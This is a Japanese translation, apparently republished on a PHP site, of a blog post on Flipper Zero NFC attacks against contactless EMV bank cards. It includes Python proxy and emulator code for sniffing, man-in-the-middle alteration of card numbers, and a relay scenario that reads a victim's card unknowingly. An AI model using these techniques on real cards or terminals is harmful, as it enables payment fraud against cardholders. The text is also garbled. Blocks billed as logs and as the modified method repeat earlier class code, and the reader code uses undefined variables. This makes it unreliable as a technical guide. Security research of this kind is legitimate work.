前回の投稿では、Flipper が NFC 非接触型カード リーダーと NFC カード エミュレーターの両方としてどのように機能するかを検討しました。これら 2 つの機能を組み合わせると、カード リーダーのトランザクションに対するさまざまな潜在的な攻撃シナリオが明らかになります。
この投稿では、これら 3 つの質問について詳しく説明します。
上の図 (ここで高品質で入手可能) は、前述のさまざまな攻撃をテストするために確立することを目的としたセットアップを示しています。
以前は、すべてのデータ処理ロジックを Flipper の外部で実行される Python スクリプトにオフロードしていました。このアプローチにより、変更を加えるたびに新しいファームウェアを更新またはアップロードする必要がなくなります。ただし、次のような疑問が生じます。この Python プロキシにより、通信が中断され、失敗する可能性のある遅延が発生するのでしょうか?
この質問に答える前に、この構成のセットアップに使用する Python スクリプトを見てみましょう。
前回のブログ投稿では、このセットアップの 2 つの主要コンポーネントについて説明しました。
あとは、この 2 つを結び付けるだけです。いったい何のことを言っているのでしょうか?
リーダーに対するこれらの要件により、以下で説明する抽象 Reader クラスが作成されました。さらに、読者との接続を確立する方法も導入しました。
class Reader(): def __init__(self): pass def connect(self): pass def field_off(self): pass def field_on(self): pass def process_apdu(self, data: bytes) -> bytes: pass
次に、PC/SC リーダーと対話するために、以下の最小限の PCSCReader クラスを作成します。
class PCSCReader(Reader): def __init__(self): pass def connect(self): available_readers = readers() if len(available_readers) == 0: print("No card reader avaible.") sys.exit(1) # We use the first detected reader reader = available_readers[0] print(f"Reader detected : {reader}") # Se connecter à la carte self.connection = reader.createConnection() self.connection.connect() def process_apdu(self, data: bytes) -> bytes: print(f"apdu cmd: {data.hex()}") self.connection.transmit(list(data)) resp = bytes(data + [sw1, sw2]) print(f"apdu resp: {resp.hex()}") return resp
ここで、以下に示すように、エミュと呼ばれるカード エミュレーターの実装に進むことができます。オプションの Reader オブジェクトをパラメータとして受け入れます。指定すると、リーダーとの接続が確立されます。
class Emu(Iso14443ASession): def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None): Iso14443ASession.__init__(self, cid, nad, drv, block_size) self._addCID = False self.drv = self._drv self.process_function = process_function self._pcb_block_number: int = 1 # Set to one for an ICC self._iblock_pcb_number = 1 self.iblock_resp_lst = [] self.reader = reader if self.reader: self.reader.connect()
次に、イベントをリーダーに伝えるための 3 つのメソッド (フィールドをオフにする、フィールドをオンにする、APDU を送信する) を定義します。
# class Emu(Iso14443ASession): def field_off(self): print("field off") if self.reader: self.reader.field_off() def field_on(self): print("field on") if self.reader: self.reader.field_on() def process_apdu(self, apdu): if self.reader: return self.reader.process_apdu(apdu) else: self.process_function(apdu)
次に、カード エミュレータのコマンド通信を TPDU レベルで管理するメソッドを改善しました。特に、完全な APDU コマンドが受信されると、 process_apdu メソッドが呼び出されて、それをリーダーに転送し、実際のカードから応答を取得します。
# class Emu(Iso14443ASession): def rblock_process(self, tpdu: Tpdu) -> Tuple[str, bool]: print("r block") if tpdu == "BA00BED9": rtpdu, crc = "BA00", True elif tpdu.pcb in [0xA2, 0xA3, 0xB2, 0xB3]: if len(self.iblock_resp_lst): rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True else: rtpdu = self.build_rblock(ack=True).hex() crc = True return rtpdu, crc def low_level_dispatcher(self): capdu = bytes() ats_sent = False iblock_resp_lst = [] while 1: r = fz.emu_get_cmd() rtpdu = None print(f"tpdu < {r}") if r == "off": self.field_off() elif r == "on": self.field_on() ats_sent = False else: tpdu = Tpdu(bytes.fromhex(r)) if (tpdu.tpdu[0] == 0xE0) and (ats_sent is False): rtpdu, crc = "0A788082022063CBA3A0", True ats_sent = True elif tpdu.r: rtpdu, crc = self.rblock_process(tpdu) elif tpdu.s: print("s block") # Deselect if len(tpdu._inf_field) == 0: rtpdu, crc = "C2E0B4", False # Otherwise, it is a WTX elif tpdu.i: print("i block") capdu += tpdu.inf if tpdu.is_chaining() is False: rapdu = self.process_function(capdu) capdu = bytes() self.iblock_resp_lst = self.chaining_iblock(data=rapdu) rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True print(f">>> rtdpu {rtpdu}\n") fz.emu_send_resp(bytes.fromhex(rtpdu), crc)
最後に、Flipper Zero からカード エミュレーションを開始するために使用されるメソッドを実装します。
# class Emu(Iso14443ASession): def run(self): self.drv.start_emulation() print("...go!") self.low_level_dispatcher()
Python スクリプトの準備ができました。次に、テストに使用するハードウェア設定を見てみましょう。
以下は、攻撃環境の小さな複製です。左から右へ:
完璧です。攻撃を実行するために必要なコンポーネントがすべて揃いました!戦いましょう!
最初にスニッフィングを試みることができます。これは、フリッパーからの APDU コマンド/応答が変更されずにカードに転送されることを意味します。
これは完全に機能し、安定したままであり、仲介者として機能する Python コードには目立った影響はありません。 Python プロキシによってレイテンシーが増加しすぎて、ターミナルがカードが遅すぎるというメッセージを出し始めた場合は、それを修正することができます。 (まだ) 実装に至っていないもの:
以下はログの抜粋です。
class Reader(): def __init__(self): pass def connect(self): pass def field_off(self): pass def field_on(self): pass def process_apdu(self, data: bytes) -> bytes: pass
実際、カードには何百もの異なるアプリケーションをインストールでき、それぞれに独自の AID が付いています。端末は、それらすべてを 1 つずつ試行しようとはしません。このため、非接触型バンキング領域では、カード上で利用可能なバンキング アプリケーションを示すように設計された特定のアプリケーションがすべてのカードに存在します。その AID は 325041592e5359532e4444463031 で、ASCII に変換すると 2PAY.SYS.DDF01 となります。
通信の後半で、このアプリケーションが呼び出されていることがわかります (以下に示すように)。したがって、前述したように、AID D2760000850101 のアプリケーションが以前に選択されたことは異常であると思われます。
class PCSCReader(Reader): def __init__(self): pass def connect(self): available_readers = readers() if len(available_readers) == 0: print("No card reader avaible.") sys.exit(1) # We use the first detected reader reader = available_readers[0] print(f"Reader detected : {reader}") # Se connecter à la carte self.connection = reader.createConnection() self.connection.connect() def process_apdu(self, data: bytes) -> bytes: print(f"apdu cmd: {data.hex()}") self.connection.transmit(list(data)) resp = bytes(data + [sw1, sw2]) print(f"apdu resp: {resp.hex()}") return resp
応答を解析すると、(他の詳細とともに) MasterCard に対応する AID A0000000041010 を持つアプリケーションの存在が示されていることがわかります。
したがって、電話機は最終的にこのアプリケーションを選択します。
その後、プライマリ口座番号 (PAN) を含むさまざまな詳細情報をカードから取得します。カードに表示された番号は端末に表示された番号と一致し、単純なスニッフィングに依存するリレー攻撃が成功したことが確認されました。
もちろん、Proxmark のようなツールを使用すると、スニッフィングがはるかに簡単になりますが、複雑にできるのに、なぜ単純にする必要があるのでしょうか ;) ?
さて、中間者攻撃に移りましょう。これは、コミュニケーションをただ聞くだけではなく、積極的に変更することを意味します。興味深い使用例の 1 つは、カード番号を変更することです (たとえば、5132 を 6132 に変更するなど)。
以前の通信のログを参照すると、これらのデータは平文で送信されていることがわかります。これらは、00B2010C00 や 00B2011400 などの READ RECORD コマンドを使用してカードから取得されます。
データは暗号化されておらず、整合性保護がないため、必要に応じて変更できます。これを実装するには、変更を処理するために PCSCReader クラスの process_apdu メソッドを更新するだけです。
class Emu(Iso14443ASession): def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None): Iso14443ASession.__init__(self, cid, nad, drv, block_size) self._addCID = False self.drv = self._drv self.process_function = process_function self._pcb_block_number: int = 1 # Set to one for an ICC self._iblock_pcb_number = 1 self.iblock_resp_lst = [] self.reader = reader if self.reader: self.reader.connect()
そして、下の画像に示すように、アプリケーションは変更をまったく認識しません!
なぜ効果があるのでしょうか?答えは、さまざまな通信層を説明する以下の画像にあります:
私たちも楽しむことができます... 急いで修正したため、データをランダムに変更することがあります。ある例では、下の画像に示すように、カード番号は 16 桁に制限されているはずにもかかわらず、アプリケーションに大量の文字ブロックが表示されてしまいました。
これにより、ファジング実験の興味深い可能性が開かれます。
このブログ投稿の冒頭で述べたように、リレー攻撃は、二者間の通信 (例: NFC カードと端末) を変更せずに傍受して中継し、端末をだまして正規のカードと通信していると信じ込ませることで構成されます。リアルタイムのカード。
ハッカーがターミナルで支払いをしようとしています。彼は端末の通信を被害者の近くにいる共犯者に中継し、共犯者は知らないうちに被害者のカードと通信します。
前の実験では、この攻撃がガレージのような管理された環境で実行可能であることが実証されました。ただし、現実のシナリオでは、考慮すべき追加の課題があります。
リレー攻撃に対する主な対策の 1 つは、リレーによって顕著な遅延が発生するため、通信のタイミングを測定することです。ただし、古い EMV プロトコルには、このようなタイミング チェックを容易にするコマンドが含まれていません。
このブログ投稿は終わりに達しました。内容をお楽しみいただければ幸いです! Python コードと修正された Flipper Zero ファームウェアは、私の GitHub から入手できます。
https://github.com/gvinet/pynfcreader
https://github.com/gvinet/flipperzero-firmware
以上がFlipper Zero NFC ハッキング - EMV バンキング、中間者攻撃、リレー攻撃の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。